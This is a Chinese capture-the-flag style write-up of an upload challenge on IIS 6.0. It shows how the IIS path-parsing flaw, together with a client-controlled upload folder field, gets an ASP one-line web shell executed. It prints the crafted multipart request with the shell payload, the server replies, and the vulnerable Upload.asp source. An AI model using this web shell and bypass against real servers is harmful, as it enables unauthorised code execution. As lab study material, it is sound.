在某靶场做题的时候发现有个知识盲区,顺手记一记。
信息收集
页面非常简单,就一个上传的选择框以及点击上传,没有前端过滤。由于做php
的题总是太习惯了,根本没太注意回应头的内容
Server: Microsoft-IIS/6.0
这里用的IIS做服务器,而且上传页面还是个asp
页面。所以我们需要一个asp
马上传上去就好了。
试探
这道题的上传逻辑是先检查你的后缀名,只要不是在服务端允许的白名单之内就拒绝上传。于是我们只能改后缀进行上传。不过还有个点是他上传完以后,还会将你的文件名改成上传时间,基本上就是个这么个情况
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">
内部办公文件上传入口<br><br>上传文件:/shell-asp.jpg<br>文件大小:25 字节<br>返回地址:upload/2018626032150.jpg <br><br>共 1 个文件成功上传到服务器! <br><br><input type="button" value=" 返 回 " onclick="javascript:history.back();"></body></html>
当时想用%00
啥的绕过,发现根本不可能,因为他会把你上传之后的文件名改掉,所以根本不可能用这个方法。
解决
看了一下hint
提示了关注服务器类型,然后就注意到了Server: Microsoft-IIS/6.0
,这里可以用iis
的一个路径解析漏洞。
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0) 形式:www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析 形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型 IIS6.0 默认的可执行文件除了asp还包含这三种 : /test.asa /test.cer /test.cdx
这里一开始我也傻逼地还光顾着去改文件名去利用解析漏洞,试过一次才发现文件名是一直被对方控制的。
认真看请求主体可以发现
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="act"
upload
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="upcount"
1
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="GuFolderPath"
upload
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="file1"; filename="/shell-asp.asp/1.jpg"
Content-Type: application/octet-stream
<%eval request("value")%>
------WebKitFormBoundaryz7FvAglTc7ApQHRX
Content-Disposition: form-data; name="Submit"
------WebKitFormBoundaryz7FvAglTc7ApQHRX--
中间有两个upload
,这样子,我联想到之前做过的,这必定就是上传路径无疑了,所以我们只需要将其改成upload/xxx.asp
配合解析漏洞利用就可以连上shell
了,修改完成后上传返回
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">
内部办公文件上传入口<br><br>上传文件:/shell-asp.asp/1.jpg<br>文件大小:25 字节<br>返回地址:upload/1.asp/2018626032150.jpg <br><br>共 1 个文件成功上传到服务器! <br><br><input type="button" value=" 返 回 " onclick="javascript:history.back();"></body></html>
直接访问返回地址的路径,由于6.0
解析漏洞,这个在服务器上即使是图片也被当作asp
解析,所以我们直接可以以upload/1.asp/2018626032150.jpg
连上shell
拿到flag
源码
脸上shell
后特地去拿了一波源码,Upload.asp
<%OPTION EXPLICIT%>
<%Server.ScriptTimeOut=5000%>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<meta http-equiv="Content-Language" Content="zh-CN">
</head>
<body leftmargin="10" topmargin="10" bgcolor="#FFFFFF">
<!-- #include file="upload_5xsoft.inc" -->
<%
dim upload,file,formName,iCount,FolderNameNew
dim GuFolderPath,fso,GuFolder0,GuFileSize0,GuFileExt0,GuAutoName
set upload=new upload_5xsoft '建立上传对象
GuFolder0="upload/" '设定默认上传的目录,必须以“/”结束,可以为空
GuFileSize0=2048 '设定默认允许上传的最大文件,单位:K,1024K=1M
GuFileExt0="bmp|gif|jpg|jpeg|png|swf|rar|zip|txt" '设定默认允许上传的文件类型
GuAutoName="1" '设定上传成功后的文件名是否自动重新命名或是使用原来的名称,1为是,0为否
Response.write upload.Version&"<br><br>" '显示上传类的版本
if upload.form("GuFolderPath")<>"" then
GuFolderPath=upload.form("GuFolderPath")
call FolderNameCheck(GuFolderPath)
GuFolderPath=upload.form("GuFolderPath")
if right(GuFolderPath,1)<>"/" then GuFolderPath=GuFolderPath&"/"
elseif upload.form("GuFolderPath")="" and GuFolder0<>"" then
GuFolderPath=GuFolder0
call FolderNameCheck(GuFolderPath)
GuFolderPath=GuFolder0
if right(GuFolderPath,1)<>"/" then GuFolderPath=GuFolderPath&"/"
else
GuFolderPath=""
end if
iCount=0
for each formName in upload.objFile '列出所有上传了的文件
set file=upload.file(formName)
if file.FileSize>0 then
dim FileExtF,FileExtY,FileExtOK,ii,jj
FileExtF=split(File.FileName,".")
for jj=0 to ubound(FileExtF)
next
FileExtY=0
FileExtOK=split(GuFileExt0,"|")
for ii=0 to ubound(FileExtOK)
if FileExtOK(ii)=FileExtF(jj-1) then
FileExtY=1
exit for
end if
next
if FileExtY=0 then
Htmend "上传失败,不允许上传的文件类型"
elseif file.FileSize>GuFileSize0*1024 then
Htmend "上传失败,单个文件大小超过限制,最大"&GuFileSize0&"*1024 字节,1K=1024字节"
else
dim FileNameOK
if GuAutoName="1" then
FileNameOK=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&iCount&"."&FileExtF(jj-1)
else
FileNameOK=file.FileName
end if
file.SaveAs Server.mappath(GuFolderPath&FileNameOK) '保存文件
Response.write "上传文件:"&file.FileName&"<br>文件大小:"&file.FileSize&" 字节<br>返回地址:"&GuFolderPath&FileNameOK&" <br>"
iCount=iCount+1
end if
else
Htmend "上传失败,请选择要上传的文件"
end if
set file=nothing
next
set upload=nothing
Htmend "共 "&iCount&" 个文件成功上传到服务器!"
Sub FolderNameCheck(FolderNameNew)
dim Letters,i,c
Letters="+=:;,[]<>\|*?"
for i=1 to len(FolderNameNew)
c=mid(FolderNameNew,i,1)
if inStr(Letters,c)<>0 then
Htmend "上传失败,文件夹名称含有特殊字符"
end if
next
GuFolderPath=server.MapPath(GuFolderPath)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
if fso.FolderExists(GuFolderPath)=false then
fso.CreateFolder(GuFolderPath)
end if
Set fso=nothing
End sub
Sub HtmEnd(Msg)
set upload=nothing
response.write "<br>"&Msg&" <br><br><input type=""button"" value="" 返 回 "" onclick=""javascript:history.back();""></body></html>"
response.end
End sub
%>
</body>
</html>